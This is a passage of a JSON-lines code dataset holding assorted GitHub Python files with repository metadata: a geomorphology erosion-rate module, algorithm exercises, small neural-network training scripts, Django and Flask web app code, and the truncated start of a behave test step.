Number):\n pass\n elif isinstance(E, dict):\n try:\n E = E[scaling]\n except:\n raise ValueError(\"guess_erates() invalid keyword argument \"+\n \"scaling '{}'\"\n .format(scaling))\n else:\n raise ValueError(\"guess_erates() invalid arguments\")\n E1 = E/2\n E2 = 2*E\n else:\n raise ValueError(\"guess_erates() invalid arguments\")\n \n minE = min(E1, E2)\n maxE = max(E1, E2)\n \n minE = np.log(max([minE, 0.001*maxE]))\n maxE = np.log(maxE)\n return np.exp(np.linspace(minE, maxE, int(N))) # cm/yr\n\n\ndef NofE_fitfunc(x, a, b, c):\n return a/x**2 + b/x + c\n\n\ndef poly_E_results(\n sample_data:pd.Series,\n topostats:pd.DataFrame,\n shielding:str,\n erates:np.ndarray,\n scaling:str,\n url:str=None,\n strict=True\n ) -> (Number, tuple, pd.DataFrame, list):\n \"\"\"\n Calculate catchmentwide erosion rate E and uncertainty delE for a single\n sample based on 'topostats' and a suite of initial erosion rates.\n \n sample_data : pd.Series or dict; single sample.\n topostats : pd.DataFrame; elevation-binned topo data.\n shielding : 'topo', 'sample' or numeric.\n erates : iterable or scalar; (suite of) erosion rates in cm/yr.\n scaling : str; scaling method 'St', 'Lm' or 'LSDn'.\n \n Returns\n ----------\n E : float; erosion rate in cm/yr.\n delE : tuple of floats, uncertainty (-delE, +delE).\n NofE : pd.Series with keys defined by 'scaling' and index 'E_cmyr'.\n error : list or error strings. In case of 'minE too high' or 'maxE too low'\n the list has only this error!\n \n \"\"\"\n\n from riversand import params\n if url is None: url = params.url\n \n if scaling not in params.scalingmethods:\n raise ValueError(\"Invalid scaling '{}' (must be 'St', 'Lm' or 'LSDn')\")\n # other requirements are validated by get_NofE() and raised as TypeError or ValueError\n \n if isinstance(erates, Number):\n erates = [erates]\n \n if strict:\n if len(erates)<4:\n raise RuntimeError(\"poly_E_results() : argument 'erates' should \"+\n \"have at least 4 values; use argument \"+\n \"'strict=False' to override\")\n # return nan and error string in case of error\n y = None\n E_poly = np.nan\n delE = (np.nan, np.nan)\n \n error = []\n \n erates[:] = np.sort(erates)\n \n try:\n NofE = get_NofE(sample_data, topostats, shielding, erates, url=url)\n except TypeError as e: # input data format\n raise e\n except ValueError as e: # input data\n raise e\n except RuntimeError as e: # no server response\n raise e\n \n if not NofE.index.is_unique:\n # rounding errors in the erates sent to the server may result in non-unique indices;\n # drop duplicates\n NofE = NofE[~NofE.index.duplicated(keep='first')]\n error += [\"Server cannot resolve erosion rates, dropping duplicates\"]\n #raise Warning(\"Server cannot resolve the provided erosion rates, dropping duplicates\")\n \n Nmeas = float(sample_data['N'])\n \n x = NofE.index\n y = NofE[scaling]\n \n if Nmeas >= y.iloc[0]:\n error = ['minE too high']\n #\"ERROR: Erosion rate is outside of specified bracket (<{} cm/yr)\".format(x[0]))\n \n elif Nmeas <= y.iloc[-1]:\n error = ['maxE too low']\n #\"ERROR: Erosion rate is outside of specified bracket (>{} cm/yr)\".format(x[-1]))\n \n else:\n popt, pcov = optimize.curve_fit(NofE_fitfunc, x, y)\n a,b,c = popt\n sol = optimize.root_scalar(NofE_fitfunc, args=(a, b, c-Nmeas), method='toms748', bracket=[x[0], x[-1]])\n \n if sol.converged:\n E_poly = sol.root \n\n else:\n error += [\"Root finding did not converge\"]\n #\"ERROR: No solution found\"\n\n try:\n delE = uncert_on_E(E_poly, y, sample_data)\n except:\n error += [\"Cannot compute uncertainty\"]\n \n #RMSE = np.sqrt(np.sum((y - NofE_fitfunc(x, *popt))**2)/len(y))\n RMSE = get_RMSE(pd.Series(y, index=x))\n if (RMSE / Nmeas)>1e-3:\n error += [\"NRMSE = {:.2e} suggests a poor fit of the polynomial\".format(RMSE / Nmeas)]\n #raise Warning(\"NRMSE = {:.2e} suggests a poor fit of the polynomial!\".format(RMSE / Nmeas))\n #print(\"NRMSE={:.2e}\".format(RMSE/Nmeas))\n \n return E_poly, delE, NofE[scaling], error\n\n\n\ndef uncert_on_E(E:float, NofE:pd.Series, sample_data:pd.Series) -> tuple:\n \"\"\" Uncertainty on E from uncertainty on N and curve fit to NofE. \"\"\"\n \n if isinstance(sample_data, pd.DataFrame):\n if len(sample_data)==1:\n sample_data = deepcopy(sample_data.iloc[0])\n else:\n raise TypeError(\"uncert_on_E() argument 'sample_data' must be \"+\n \"dict, pandas Series or single-row pandas Dataframe\")\n \n N1 = sample_data['N']+sample_data['delN']\n N2 = sample_data['N']-sample_data['delN']\n \n x = NofE.index\n popt, pcov = optimize.curve_fit(NofE_fitfunc, x, NofE)\n a,b,c = popt\n\n # find values x1 and x2 that bracket the erosion rates E1, E2 (E+/-delE)\n x1, y1 = min(NofE.index), max(NofE)\n x2, y2 = max(NofE.index), min(NofE)\n \n while y1N2: # stepwise 10% increase of x2\n x2 = 1.1*x2\n y2 = NofE_fitfunc(x2, a, b, c)\n \n # find erosion rates corresponding to N+delN and N-delN\n sol = optimize.root_scalar(NofE_fitfunc, args=(a, b, c-N1), method='toms748', bracket=[x1, E])\n if sol.converged:\n E1 = sol.root\n delE1 = E-E1\n \n sol = optimize.root_scalar(NofE_fitfunc, args=(a, b, c-N2), method='toms748', bracket=[E, x2])\n if sol.converged:\n E2 = sol.root\n delE2 = E2-E\n\n return (delE1, delE2)\n\n\n\ndef get_RMSE(NofE): \n \"\"\" Root mean squared error. \"\"\"\n popt, pcov = optimize.curve_fit(NofE_fitfunc, NofE.index, NofE)\n return np.sqrt(np.sum((NofE - NofE_fitfunc(NofE.index, *popt))**2)/len(NofE))\n\n\ndef get_version(url:str=None) -> dict:\n \n from riversand import params\n if url is None: url = params.url\n textline = get_textline({'N':1e5, 'delN':1e3}, {'lat':0, 'long':0, 'elevation':0}, shielding=1)\n \n df, diagn, version = get_erates_from_server(textline, url=url)\n \n if \"No response from\" in diagn:\n raise RuntimeError(\"get_version() : {}\".format(diagn))\n \n return version\n\ndef main():\n pass\n\nif __name__ == \"__main__\":\n main()","repo_name":"kstueb/riversand","sub_path":"riversand/riversand/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":25755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22782073074","text":"print('КАЛЬКУЛЯТОР')\ndef calc():\n def choice():\n y = input('\\t Попробовать ещё раз? (y/n): ')\n if y == 'y':\n return calc()\n elif y != 'n':\n return choice()\n\n a = input('Введите первое число: ')\n b = input('Введите второе число: ')\n symbol = input('Введите знак + , - , * или /: ')\n a, b, symbol = a.strip(), b.strip(), symbol.strip()\n if not a.isdigit() or not b.isdigit():\n print('\\t Неверный формат данных!')\n choice()\n else:\n a, b = int(a), int(b)\n if symbol == '+':\n d = a + b\n print(f'\\t Итого: {a} {symbol} {b} = {d}')\n choice()\n elif symbol == '-':\n d = a - b\n print(f'\\t Итого: {a} {symbol} {b} = {d}')\n choice()\n elif symbol == '*':\n d = a * b\n print(f'\\t Итого: {a} {symbol} {b} = {d}')\n choice()\n elif symbol == '/':\n if b == 0:\n print('\\t На ноль делить нельзя!')\n choice()\n else:\n d = a / b\n print(f'Итого: {a} {symbol} {b} = {d}')\n choice()\n else:\n print('\\t Неправильный формат знака.')\n choice()\n\ncalc()","repo_name":"ilisanchuk/hometasks","sub_path":"hometask3/hometask_3_1.py","file_name":"hometask_3_1.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31790840031","text":"\"\"\"\nauthor : Lee Sang Min\ngithub : https://github.com/sangm1n\ne-mail : dltkd96als@naver.com\n\ntitle : 연산자 끼워넣기 (3)\ndescription : Back Tracking\n\"\"\"\n\nimport sys\nfrom collections import deque\ninput = sys.stdin.readline\n\nN = int(input())\narr = deque(map(int, input().split()))\nsign = list(map(int, input().split()))\n\n\ndef bfs(idx, sign):\n global result\n\n start = [idx, arr[idx], \"\", sign]\n q = deque([start])\n\n while q:\n idx, num, tot, s = q.popleft()\n\n if idx < N and s[0] > 0:\n sc = s.copy()\n sc[0] -= 1\n q.append([idx+1, arr[idx+1], tot + str(num) + \"+\", sc])\n\n if idx < N and s[1] > 0:\n sc = s.copy()\n sc[1] -= 1\n q.append([idx+1, arr[idx+1], tot + str(num) + \"-\", sc])\n\n if idx < N and s[2] > 0:\n sc = s.copy()\n sc[2] -= 1\n q.append([idx+1, arr[idx+1], tot + str(num) + \"*\", sc])\n\n if idx < N and s[3] > 0:\n sc = s.copy()\n sc[3] -= 1\n q.append([idx+1, arr[idx+1], tot + str(num) + \"//\", sc])\n\n if sum(s) == 0:\n result.append(eval(tot + str(arr[-1])))\n\n\nresult = []\nbfs(0, sign)\nprint(max(result))\nprint(min(result))\n","repo_name":"sangm1n/problem-solving","sub_path":"BOJ/15659.py","file_name":"15659.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30195656673","text":"def solution(heights):\n answer = [0] * len(heights)\n # 좌로 이동하며 최초로 큰 값이 나오면 그 값의 인덱스를 정답배열에 저장\n\n for i in range(1, len(heights)):\n for n in reversed(range(i)):\n if heights[n] > heights[i]:\n answer[i] = n + 1\n break\n\n return answer\n\n# 느낀점\n# 1. 빈 리스트에 append 식으로 풀면 좋을 것 같은데.. 나중에 시도해보자.","repo_name":"seokzin/algorithm-python","sub_path":"Code/Programmers/탑.py","file_name":"탑.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"7691275214","text":"num = 0\nsoma = 0\ncont = 0\n\nwhile num != 999:\n num = int(input(\"Digite um número [999 para parar]: \"))\n soma += num\n cont += 1\n\nprint(\"Você digitou {} números, e a soma deles é {}\".format(cont - 1, soma - 999))","repo_name":"joao-medina/python-cursoemvideo","sub_path":"mundo-2/ex064.py","file_name":"ex064.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40955315042","text":"###########################################################################\n# #\n# Author: Daniel Mock #\n# #\n# Purpose: To document progress in learning algorithms & data structures #\n# #\n# References: This question was generated by leetcode.com. The solution #\n# to the question was generated by Daniel Mock. #\n# #\n###########################################################################\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def flatten(self, root: TreeNode) -> None:\n \"\"\"\n Do not return anything, modify root in-place instead.\n \"\"\"\n stack = []\n\n if root:\n if root.left:\n self.flatten(root.left)\n tmp = root.right\n root.right = root.left\n root.left = None\n node = root.right\n while node.right:\n node = node.right\n node.right = tmp\n self.flatten(root.right)\n\n\n\n\n\n '''\n if root is None: return root\n stack = self.recurse(root, [])\n node = stack.pop(0)\n ref = node\n while len(stack) > 0:\n node.right = stack.pop(0)\n node = node.right\n root = ref\n while(ref):\n print(ref.val)\n print(ref.left)\n ref = ref.right\n\n\n def recurse(self, root, stack):\n if root is not None:\n node = TreeNode(root.val)\n stack.append(node)\n node = node.right\n else:\n node = None\n return stack\n self.recurse(root.left, stack)\n self.recurse(root.right, stack)\n\n return stack\n '''\n","repo_name":"Daniel-Mock/algorithms-data_structures","sub_path":"Trees/0114_flatten_binary_tree_to_linked_list.py","file_name":"0114_flatten_binary_tree_to_linked_list.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72439816372","text":"import torch\nfrom torchtext import data,datasets\nimport random\nimport torch.nn as nn\n#Loading data, Tokenizing it, and splitting it into training, validation and test data\nTEXT=data.Field(tokenize='spacy')\nLABEL=data.LabelField(dtype=torch.float)\ntrain_data, test_data=datasets.IMDB.splits(TEXT, LABEL)\n\ntrain_data, valid_data=train_data.split(random_state=random.seed(999),split_ratio=0.8)\nTEXT.build_vocab(train_data)\nLABEL.build_vocab(train_data)\n\ndevice=torch.device('cuda' if torch.cuda.is_available() else 'cpu')\ntrain_iter, valid_iter, test_iter=data.BucketIterator.splits((train_data, valid_data, test_data), batch_size=64, device=device)\n\n#Defining model\n# if want LSTM comment line 27,35 and uncomment line 28,36\n# if RNN,LSTM is multilayered and not bidirectional then uncomment line 37\n# if RNN, LSTM is bidirectional id bidirectinal then uncomment line 38\n#Embedding Dimension=200\n#Hidden DImension (h_t)=256\nclass RNN(nn.Module):\n def __init__(self, input_dim,num_layers,bidirectional):\n super().__init__()\n self.embedding=nn.Embedding(input_dim,200)\n self.rnn=nn.RNN(200,256,num_layers,bidirectional)\n #self.rnn=nn.LSTM(200,256,num_layers,bidirectional)\n self.fc1=nn.Linear(num_layers*256,64)\n self.fc2=nn.Linear(64,1)\n self.sigmoid=nn.Sigmoid()\n \n def forward(self, text):\n embedded=self.embedding(text)\n output, hidden=self.rnn(embedded)\n #output, (hidden,cell)=self.LSTM(embedded)\n #hidden=hidden[-1,:,:]\n #hidden = torch.cat((hidden[-2,:,:], hidden[-1,:,:]), dim = 1)\n out=self.fc1(hidden.squeeze(0))\n out=self.sigmoid(out)\n return self.fc2(out) \n\n\n#For Multilayer RNN, LSTM : set num_layers to that value\n#If want bidirectional RNN, LSTM set bidirectional=True\nnum_layers=1\nbidirectional=False\nmodel=RNN(len(TEXT.vocab),num_layers,bidirectional)\nmodel=model.to(device)\n\n#Choosing Optimizer and Loss\noptimizer=torch.optim.SGD(model.parameters(), lr=3e-5)\n\ncriterion=nn.BCEWithLogitsLoss()\ncriterion=criterion.to(device)\n\ndef accuracy(preds, y):\n model_preds=torch.round(torch.sigmoid(preds))\n correct=(model_preds==y).int()\n acc=correct.sum()/len(correct)\n return acc\n\ndef train(model, iter, optimizer, criterion):\n total_loss=0\n total_acc=0\n model.train()\n for batch in iter:\n optimizer.zero_grad() \n predictions=model(batch.text).squeeze(1)\n loss=criterion(predictions, batch.label)\n acc=accuracy(predictions, batch.label)\n loss.backward()\n optimizer.step()\n total_loss+=loss.item()\n total_acc+=acc.item()\n return total_loss/len(iter), total_acc/len(iter)\n\ndef evaluate(model, iter, criterion):\n total_loss=0\n total_acc=0\n model.eval()\n with torch.no_grad():\n for batch in iter:\n predictions=model(batch.text).squeeze(1)\n loss=criterion(predictions, batch.label)\n acc=accuracy(predictions, batch.label)\n total_loss+=loss.item()\n total_acc+=acc.item()\n return total_loss/len(iter), total_acc/len(iter)\n\n#Training Model\nepochs=20\nbest_loss = float('inf')\nfor epoch in range(epochs):\n train_loss, train_acc = train(model, train_iter, optimizer, criterion)\n valid_loss, valid_acc = evaluate(model, valid_iter, criterion)\n if valid_loss < best_loss:\n best_loss = valid_loss\n torch.save(model.state_dict(), 'RNN_model.pt')\n print(f'Epoch: {epoch+1} Train Loss: {train_loss:.4f} Train Acc: {train_acc*100:.2f}% Val. Loss: {valid_loss:.4f} Val. Acc: {valid_acc*100:.2f}%')\n\n#Testing model\nmodel.load_state_dict(torch.load('RNN_model.pt'))\ntest_loss, test_acc = evaluate(model, test_iter, criterion)\nprint(f'Test Loss: {test_loss:.4f} Test Acc: {test_acc*100:.2f}%')\n","repo_name":"himanshusingh157/Sentimental-Analysis","sub_path":"Single_double_bidiretional_RNN.py","file_name":"Single_double_bidiretional_RNN.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"10844767594","text":"from collections import deque\n\nm, n, h = map(int, input().split())\ndata = []\nqueue = deque()\nfor z in range(h):\n mid = []\n for x in range(n):\n tomatos = list(map(int, input().split()))\n for y in range(m):\n if tomatos[y] == 1:\n queue.append((x, y, z, 0))\n mid.append(tomatos)\n data.append(mid)\n\ndx = [-1, 1, 0, 0, 0, 0]\ndy = [0, 0, -1, 1, 0, 0]\ndz = [0, 0, 0, 0, 1, -1]\n\ndef bfs():\n day = 0\n while queue:\n x, y, z, day = queue.popleft()\n for i in range(6):\n nx = x + dx[i]\n ny = y + dy[i]\n nz = z + dz[i]\n if 0 <= nx < n and 0 <= ny < m and 0 <= nz < h and data[nz][nx][ny] == 0:\n data[nz][nx][ny] = 1\n queue.append((nx, ny, nz, day + 1))\n return day\n\nday = bfs()\n\nfor l in data:\n for i in l:\n if 0 in i:\n print(-1)\n exit()\nprint(day)","repo_name":"K1A2/algorithm_python","sub_path":"baekjoon/bfs_dfs/7569_토마토_3D.py","file_name":"7569_토마토_3D.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6836331422","text":"import keras\nfrom keras import layers\nimport pandas as pd\nimport numpy as np\n\n\ndef get_kmers(sequences, kmer=4):\n return_seqs = sequences.copy()\n if kmer <= 1:\n raise ValueError(\"kmer size must be greater than 1\")\n for seq_index, seq in sequences.iteritems():\n kmer_list = []\n for let_index, let in enumerate(seq[:-kmer + 1]):\n kmer_list.append(seq[let_index:let_index + kmer])\n return_seqs[seq_index] = kmer_list\n return return_seqs\n\ndef get_2d_kmer(seqs, mnm, mxm):\n return_seqs = []\n for _, val in seqs.iteritems():\n kmer_seqs = []\n for i in range(mnm, mxm+1):\n kmers = list(get_kmers(pd.Series([val]), kmer=i))[0]\n kmers += [kmers[-1] for _ in range(i-1)]\n kmer_seqs.append(kmers)\n return_seqs.append(kmer_seqs)\n \n return pd.Series(return_seqs)\n\ndef DCNN(num_features):\n model = keras.Sequential()\n model.add(layers.Dropout(0.1, input_shape=(num_features, 1)))\n model.add(layers.Conv1D(32, 3, activation='softsign', input_shape=(num_features, 1)))\n model.add(layers.MaxPooling1D(2))\n model.add(layers.Flatten())\n model.add(layers.Dense(32, activation='softsign'))\n model.add(layers.Dense(3, activation='softmax'))\n model.compile(loss='categorical_crossentropy', optimizer='Adagrad', metrics=['accuracy'])\n return model\n","repo_name":"Bluewaves54/ClassifyPromoterStrength","sub_path":"models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43893698711","text":"\"\"\"make the tenant name optional\n\nRevision ID: bca696a67f4\nRevises: 3022a18d6fe\n\n\"\"\"\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = 'bca696a67f4'\ndown_revision = '3022a18d6fe'\n\ntable_name = 'auth_tenant'\ncolumn_name = 'name'\n\n\ndef upgrade():\n op.alter_column(table_name, column_name, nullable=True)\n op.drop_constraint('auth_tenant_name_key', table_name)\n\n\ndef downgrade():\n op.alter_column(table_name, column_name, nullable=False)\n","repo_name":"wazo-platform/wazo-auth","sub_path":"wazo_auth/database/alembic/versions/bca696a67f4_make_the_tenant_name_optional.py","file_name":"bca696a67f4_make_the_tenant_name_optional.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"21614562057","text":"from django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.core.exceptions import PermissionDenied\nfrom django.shortcuts import get_object_or_404\nfrom django.template import Context, RequestContext\nfrom django.template.loader import get_template\nfrom debate.forms import ReplyForm\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom debate.models import Reply\nfrom django.contrib.auth.decorators import login_required\n\n@login_required\ndef post_reply(request):\n t = get_template('form.html')\n c = RequestContext(request)\n\n try:\n parent = Reply.tree.get(id=int(request.GET['parent']))\n except (ValueError, OjectDoesNotExist):\n raise Http404\n \n if request.method == 'POST':\n form = ReplyForm(request.POST)\n if form.is_valid():\n reply = form.save(user=request.user, parent=parent)\n return HttpResponseRedirect(reply.get_absolute_url())\n \n else:\n form = ReplyForm()\n \n c['form'] = form\n c['parent'] = parent\n return HttpResponse(t.render(c))\n\n@login_required\ndef edit_reply(request, id):\n t = get_template('form.html')\n c = RequestContext(request)\n reply = get_object_or_404(Reply, id=id)\n if not reply.user == request.user:\n raise PermissionDenied\n if request.method == 'POST':\n form = ReplyForm(request.POST)\n if form.is_valid():\n reply.text = form.cleaned_data['text']\n reply.notify_user = form.cleaned_data['notify']\n reply.save()\n return HttpResponseRedirect(reply.get_absolute_url())\n else:\n form = ReplyForm({\n 'text': reply.text,\n 'notify': reply.notify_user})\n \n c['form'] = form\n c['parent'] = reply.parent\n c['object'] = object\n return HttpResponse(t.render(c))\n","repo_name":"rtts/qqq","sub_path":"debate/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36163946048","text":"from django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom .models import Notes\n\n\nclass NotesForm(forms.ModelForm):\n class Meta:\n model = Notes\n fields = ('title', 'text')\n widgets = {\n 'title': forms.TextInput(attrs={'class': 'form-control my-5'}),\n 'text': forms.Textarea(attrs={'class': 'form-control my-5'})\n }\n labels = {\n 'text': 'Write your thoughts here:'\n }\n\n def clean_title(self):\n title = self.cleaned_data['title']\n if len(title) < 0 not in title:\n raise ValidationError('Write something on the title!')\n return title","repo_name":"dayanMichelle/django-note-app","sub_path":"notes/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"18207563982","text":"class Solution:\n def kInversePairs(self, n: int, k: int) -> int:\n kMod = 1_000_000_007\n # dp[i][j] := # of permutations of numbers 1..i with j inverse pairs\n dp = [[0] * (k + 1) for _ in range(n + 1)]\n\n # If there's no inverse pair, the permutation is unique '123..i'\n for i in range(n + 1):\n dp[i][0] = 1\n\n for i in range(1, n + 1):\n for j in range(1, k + 1):\n dp[i][j] = (dp[i][j - 1] + dp[i - 1][j]) % kMod\n if j - i >= 0:\n dp[i][j] = (dp[i][j] - dp[i - 1][j - i] + kMod) % kMod\n\n return dp[n][k]\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/0629. K Inverse Pairs Array/0629.py","file_name":"0629.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"16216560399","text":"# -*- coding: utf-8 -*-\r\nfrom pycocotools.coco import COCO\r\nfrom pycocoevalcap.eval import COCOEvalCap\r\nfrom general_eval import GeneralEvalCap\r\nimport argparse\r\nimport os\r\nimport json\r\nfrom json import encoder\r\nencoder.FLOAT_REPR = lambda o: format(o, '.3f')\r\n\r\ndef eval(args):\r\n\r\n resFile = args.result_file\r\n if args.dataset == 'flickr30k':\r\n with open(args.ann_file, 'r') as f:\r\n gts = json.load(f)\r\n gts = gts['images']\r\n with open(os.path.join(args.result_path,resFile), 'r') as f:\r\n res = json.load(f)\r\n GeneralEval = GeneralEvalCap(gts, res)\r\n GeneralEval.evaluate()\r\n for metric, score in GeneralEval.eval.items():\r\n print('%s: %.3f' % (metric, score))\r\n return\r\n annFile= args.ann_file\r\n coco = COCO(annFile)\r\n cocoRes = coco.loadRes(os.path.join(args.result_path,resFile))\r\n cocoEval = COCOEvalCap(coco, cocoRes)\r\n cocoEval.evaluate()\r\n\r\n for metric, score in cocoEval.eval.items():\r\n print ('%s: %.3f'%(metric, score))\r\n\r\nif __name__ == '__main__':\r\n\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--dataset', type=str, default='coco')\r\n parser.add_argument('--result_file', type=str, default=\r\n 'CA1_b3_captions_val2014_fakecap_results.json')\r\n parser.add_argument('--result_path', type=str, default=\r\n 'results')\r\n parser.add_argument('--ann_file', type=str, default='data/annotations/karpathy_split_test.json')\r\n parser.add_argument('--epoch', type=int, default=10)\r\n\r\n args = parser.parse_args()\r\n eval(args)","repo_name":"Tongji-MIC-Lab/CaptionNet","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35441662394","text":"\"\"\"\r\n# Definition for Employee.\r\nclass Employee(object):\r\n def __init__(self, id, importance, subordinates):\r\n \t#################\r\n :type id: int\r\n :type importance: int\r\n :type subordinates: List[int]\r\n #################\r\n self.id = id\r\n self.importance = importance\r\n self.subordinates = subordinates\r\n\"\"\"\r\n\r\nclass Solution(object):\r\n def getImportance(self, employees, id):\r\n \"\"\" \r\n :type employees: List[Employee]\r\n :type id: int\r\n :rtype: int\r\n \"\"\"\r\n \"\"\"\r\n 210501\r\n 因为只有一个直系上司,必然不会重复\r\n 先哈希表,把员工信息存进去,方便查找\r\n \"\"\"\r\n empMap = {}\r\n for emp in employees:\r\n empId, empIm, empSub = emp.id, emp.importance, emp.subordinates\r\n empMap[empId] = [empIm, empSub]\r\n \r\n stack = [id]\r\n imSum = 0\r\n while stack != []:\r\n id = stack.pop()\r\n imSum += empMap[id][0]\r\n stack.extend(empMap[id][1])\r\n return imSum","repo_name":"kikihiter/LeetCode2","sub_path":"Everyday/No690.py","file_name":"No690.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11994048656","text":"# По кругу стоят n человек. Ведущий посчитал m человек по кругу, начиная с первого.\n# При этом каждый из тех, кто участвовал в этом счете, получил по одной монете, остальные получили по две монеты.\n# Далее человек, на котором остановился счет, отдает все свои монеты следующему по счету человеку, а сам выбывает из круга.\n# Процесс продолжается с места остановки аналогичным образом до последнего человека в круге. Составьте алгоритм, который проводит эту игру.\n# Если хотите делать паузы, то импортируйте библиотеку time и используйте оттуда функцию sleep.\n# Определите номер этого человека и количество монет, которые оказались у него в конце игры.\n\n# пока не вышло, но её победю))\n\nimport random\n\ndef players_coins(num):\n array = []\n for i in range (0, num-1):\n array.append(0)\n return array\n\ndef who_s_lost (array, amount):\n num = random.randrange(1, 10)\n print (\"Счет заканчивается на:\",num)\n while num > amount:\n num = num - amount\n while amount != 1:\n for i in range (0, amount-1):\n if i < num:\n array[i] +=1\n elif i > num:\n array[i] +=2\n else:\n array.remove(i)\n amount -=1\n print(i)\n print (array)\n\namount_of_players = int(input(\"Введите кол-во участников:\\n\"))\nplayer = players_coins(amount_of_players)\nwho_s_lost(player, amount_of_players)","repo_name":"guesswhofoolsyou/python_homeworks","sub_path":"Seminar_2/task_4.py","file_name":"task_4.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21550332745","text":"from flask import Flask, render_template, request\n\nimport os\nimport datetime\nimport views\nfrom database import Database\nfrom participants import Participant\nfrom couples import Couple\nimport auth\n\n# how to add Flask mail service:\n# https://mailtrap.io/blog/flask-email-sending/\n\n# how to add blueprints\n# https://flask.palletsprojects.com/en/2.3.x/tutorial/views/\n\n\nmessages = [{'name': 'name one',\n 'email': 'email one'},\n {'name': 'name two',\n 'email': 'email two'}\n ]\n\ndef create_app():\n app = Flask(__name__, instance_relative_config=True)\n app.config.from_object(\"settings\")\n\n # home_dir = os.path.expanduser(\"~\")\n # print(home_dir)\n # print(app.instance_path)\n app.config.from_mapping(\n DATABASE=os.path.join(app.instance_path, 'group.sql')\n )\n\n # ensure the instance folder exists\n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n \n import database\n database.init_app(app)\n\n # db = Database(os.path.join(home_dir, \"group.sql\"))\n # app.config[\"db\"] = db\n\n app.add_url_rule(\"/\", view_func=views.home_page)\n\n app.add_url_rule(\"/participants\", view_func=views.participants_page, methods=[\"GET\", \"POST\"])\n app.add_url_rule(\"/participants/\", view_func=views.participant_page)\n app.add_url_rule(\"/participants//edit\", view_func=views.participant_edit_page, methods=[\"GET\", \"POST\"])\n app.add_url_rule(\"/new-participant\", view_func=views.participant_add_page, methods=[\"GET\", \"POST\"])\n\n app.add_url_rule(\"/couples\", view_func=views.couples_page, methods=[\"GET\", \"POST\"])\n app.add_url_rule(\"/couples/\", view_func=views.couple_page)\n app.add_url_rule(\"/couples//edit\", view_func=views.couple_edit_page, methods=[\"GET\", \"POST\"])\n app.add_url_rule(\"/new-couple\", view_func=views.couple_add_page, methods=[\"GET\", \"POST\"])\n\n app.add_url_rule(\"/email-confirmation\", view_func=views.email_confirmation_page, methods=[\"GET\", \"POST\"])\n app.add_url_rule(\"/sent-email\", view_func=views.email_sent_page, methods=[\"GET\", \"POST\"])\n\n # add some temporary participants and one couple for testing purposes\n # db.add_participant(Participant(\"Participant 1\", email=\"p1@aol.com\"))\n # db.add_participant(Participant(\"Participant 2\", email=\"p2@aol.com\"))\n # db.add_participant(Participant(\"Participant 3\", email=\"p3@aol.com\"))\n # db.add_participant(Participant(\"Participant 4\", email=\"p4@aol.com\"))\n\n\n # db.add_couple(Couple(\"Participant 1\", \"Participant 2\"))\n\n app.register_blueprint(auth.bp)\n\n return app\n\n\n# if __name__ == \"__main__\":\napp = create_app()\n # # port = app.config.get(\"PORT\", 5000)\n # app.run()\n\n# helpful links:\n# https://web.itu.edu.tr/uyar/fad/data-model.html\n# https://www.digitalocean.com/community/tutorials/how-to-use-web-forms-in-a-flask-application\n","repo_name":"mohobson/gift-exchange","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"69888816372","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom behave import *\nfrom openbank_testkit import Shell\nimport os\nfrom helpers.eventually import eventually\n\n\n@given('package {package} is {operation}')\ndef step_impl(context, package, operation):\n if operation == 'installed':\n (code, result, error) = Shell.run([\"apt-get\", \"install\", 